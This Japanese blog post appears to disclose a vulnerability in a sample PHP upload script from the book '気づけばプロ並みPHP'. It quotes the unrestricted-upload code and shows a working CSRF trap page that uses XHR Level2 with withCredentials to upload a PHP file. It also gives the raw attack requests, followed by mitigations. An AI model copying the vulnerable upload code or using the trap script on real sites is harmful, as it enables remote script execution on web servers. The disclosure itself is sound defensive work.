書籍「
気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性があるので報告します。
はじめに
Yahoo!知恵袋の質問を読んでいたら、以下の質問がありました。
気づけばプロ並みPHP (著)谷藤賢一 (発行)リックテレコムP112の画像をアップロードする機能でエラーがでます。
http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q11119835496 より引用
質問に対しては回答が既についてクローズされていましたが、引用されているソースを見て任意のファイルを任意のファイル名で、Web公開ディレクトリにアップロードできることに気づきました(下記)。
<?php
// 略
$pro_gazou=$_FILES['gazou'];
// 略
if($pro_gazou['size']>0) {
if ($pro_gazou['size']>1000000) {
print'画像が大き過ぎます。';
} else {
move_uploaded_file($pro_gazou['tmp_name'],'./gazou/'.$pro_gazou['name']);
print'<img src="./gazou/'.$pro_gazou['name'].'" />';
print'<br />';
}
}
ご覧のように、ファイルサイズの確認はしているものの、ファイルの中身とファイル名については制限がありません。この結果、以下の脆弱性が生じます(代表的なもののみ)。
- PHPスクリプトをアップロードされ、攻撃者がリモートから任意のスクリプトをWebサーバー上で実行できる
- HTMLファイルをアップロードされ、利用者のブラウザ上で任意のJavaScriptを当該ドメイン上で実行されられる(XSSと同等の影響)
本稿では、前者のリモートスクリプト実行について説明します。
ファイルアップロードの脆弱性
同書P112の段階ではログイン機能が実装されていませんが、最終的にはこのアップロード機能は店舗スタッフとしてログインした利用者のみが実行できます。
スタッフだからリモートスクリプト実行できても大丈夫、とは言えません。店舗スタッフには商品情報のメンテナンスの権限はありますが、任意のスクリプト実行の権限まではないと考えられるからです。このため、店舗スタッフがリモートスクリプト実行ができてしまう時点で脆弱性と言えます。
しかし、現実の運用では、店舗スタッフにサーバーメンテナンスの権限もある(rootパスワードを正当に知っているなど)状況も考えられます。この場合、この脆弱性による実害はなく、運用上許容し得る場合もあるでしょう。
CSRF攻撃によるファイルアップロードの可能性
それでは、店舗スタッフ以外の人が、任意ファイルをアップロードできる可能性はないでしょうか。これができると重大な脆弱性となります。実は、店舗スタッフに対してCSRF攻撃をかけると、第三者が任意ファイルをアップロードできてしまいます。以下、その方法を説明します。
CSRF攻撃の場合、店舗スタッフとしてログイン中のブラウザから以下のリクエストを送信できることが必要です。
POST /pro_add_check.php HTTP/1.1
Host: example.jp
Cookie: PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: multipart/form-data; boundary=--BNDRY
Content-Length: 128
----BNDRY
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/plain
<?php phpinfo(); ※任意のPHPコード
----BNDRY--
通常のHTMLフォームを使ったCSRF攻撃では、Content-Typeをmultipart/form-dataにすることまでは可能ですが、ファイルの中身とファイル名を指定する方法がありません。従って、HTMLフォームによる攻撃経路はありません。
XHR Level2によるクロスドメインのファイルアップロード
しかし、XMLHttpRequest Level2(以下、XHR Level2)を使うと、POSTするデータの中身を任意に指定することができ、CSRFによるファイルアップロードが可能になります。
こう書くと、CORS(Cross-Origin Resource Sharing)による保護があるので、対象サイト側で明示的に許可しないとリクエストが送れないはずではないかという疑問が生じるかもしれません。
しかし、CORSによるクロスオリジン通信の制御は、XMLHttpRequestによって送信したリクエストに対して、HTTPレスポンスを送信元のスクリプトが受け取れるか否かに関係します。HTTPリクエストを送信するだけであれば、相手側の許可がなくてもできてしまいます。そして、CSRF攻撃は、HTTPリクエストが送信できれば攻撃可能であり、HTTPレスポンスは必要ありません。
ということで、店舗スタッフがXHR Level2対応のブラウザを使っていれば、以下のようなワナサイトを閲覧した場合、スタッフが知らないうちに、ファイルアップロードのリクエストを自分のブラウザから送信してしまうことになります。
<body>
<script>
// 以下は送信するHTTPリクエストボディの中身
// \n\ は改行(\n) と 継続行(行末の\)を示す
data = '\
----BNDRY\n\
Content-Disposition: form-data; name="file"; filename="a.php"\n\
Content-Type: text/plain\n\
\n\
<?php phpinfo();\n\
\n\
----BNDRY--\n\
';
var req = new XMLHttpRequest();
req.open('POST', 'http://example.jp/pro_add_check.php');
req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
req.withCredentials = true;
req.send(data);
</script>
</body>
上記スクリプトで、req.withCredentials = true; とあるのは、XMLHttpRequestのリクエストにクッキーを付与せよという指令です。これがないと、スタッフのログイン状態でのリクエストにならず、CSRF攻撃は成立しません。
上記JavaScriptを適当な罠に仕込んでおき、店舗スタッフがうっかり閲覧してしまうと、以下のリクエストが店舗スタッフのブラウザから送信されます。
POST /pro_add_check.php HTTP/1.1
Host: example.jp
Content-Length: 128
Origin: http://trap.example.com
Content-Type: multipart/form-data; boundary=--BNDRY
Referer: http://trap.example.com/d/csrf.html
Cookie: PHPSESSID=jl970047757cdtmi3g32hka0k7
----BNDRY
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: text/plain
<?php phpinfo();
----BNDRY--
このリクエストを見ると、以下のことがわかります。
- クロスドメインで確かに攻撃リクエストが送信されている。
- multipart/form-dataの形式のデータが送信されており、PHPスクリプトがアップロードされる
- 認証Cookieが送信されていて、認証状態でリクエストが受け付けられる
- OriginヘッダとRefererヘッダがワナサイトを示しているが、元のPHPスクリプトはこれらをチェックしていないので攻撃には影響ない
このスクリプトをCSRF攻撃でアップロードされたタイミングを見計らって、攻撃者が/gazou/a.phpにアクセスすると、以下のようにphpinfoが表示されます。
ということで、第三者が勝手なPHPスクリプトをアップロードして実行できることを確認しました。
対策
サーバーサイドのスクリプト実行を防ぐための最低限の対策は以下となります。
- アップロードするファイル名の拡張子を画像のもの(.jpg等)に制限する
ですが、元のスクリプトは色々心許ない感じです。たとえば、ファイル名の衝突があった場合、元々あった画像に上書きされてしまいますが、それをチェックする仕組みはなく、運用でカバーするしかありません。このあたり、本当に「プロ並み」となるには、配慮しなければならないポイントが多くありそうです。
また、サーバーサイドのスクリプト実行脆弱性がきわめて危険であることを考えると、保険的な対策として、以下を推奨します。
- アップロードされた画像は公開領域に保存せず、スクリプト経由でダウンロードさせるようにする
本稿では説明していませんが、アップロードした画像ファイルを悪用したクロスサイト・スクリプティング(XSS)攻撃もあり得ます。詳しくは下記をご覧下さい。
対策としては下記を推奨します。
- アップロード時に拡張子が画像のもの(.jpg等)であることを確認する
- 画像のマジックバイト(前述のエントリを参照)を確認する
- レスポンスヘッダContent-Typeを正しく設定する
- 保険的に、X-Content-Type-Options: nosniff をレスポンスヘッダとして送信する
具体的なプログラミング例については、下記参考書をご確認ください。
さらに、CSRF脆弱性については、ふつーに対策してください。
まとめ
書籍「気づけばプロ並みPHP」のサンプルスクリプトにリモートスクリプト実行の脆弱性について報告しました。ファイルアップロード単体では、ログインユーザのみが悪用できる脆弱性ですが、CSRF脆弱性を組み合わせることにより、第三者が任意のPHPスクリプトをアップロードできることを示しました。